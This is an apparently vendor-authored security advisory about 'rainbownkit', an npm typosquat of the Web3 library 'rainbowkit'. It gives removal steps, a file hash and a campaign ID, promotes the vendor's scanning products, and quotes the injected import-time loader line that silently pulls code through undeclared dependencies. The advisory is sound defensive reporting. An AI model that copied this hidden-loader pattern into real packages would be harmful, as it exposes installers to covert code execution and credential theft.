Which versions of rainbownkit are malicious?

The following npm versions of rainbownkit are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate rainbownkit if I installed it?

rainbownkit is a typosquat — you almost certainly intended a legitimately-named package. Remove rainbownkit, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed rainbownkit — how do I know if it already compromised me?

If rainbownkit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is rainbownkit part of a known attack campaign?

Yes — rainbownkit is associated with the IN-MAL-2026-007354 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find rainbownkit across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rainbownkit (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rainbownkit across your stack and pipelines.

Malicious package

rainbownkitnpm

Malicious code in rainbownkit (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6340

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall rainbownkit

What this malware does

Package 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via main and exports) contains an injected try/catch around line 606 that runs at require/import time: const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}). The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (^0.0.9), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs require('rainbownkit') (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rainbownkit (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rainbownkit across your stack and pipelines.
If you installed it — respond
rainbownkit is a typosquat — you almost certainly intended a legitimately-named package. Remove rainbownkit, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If rainbownkit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks rainbownkit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. rainbownkit on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007354

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks rainbownkit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring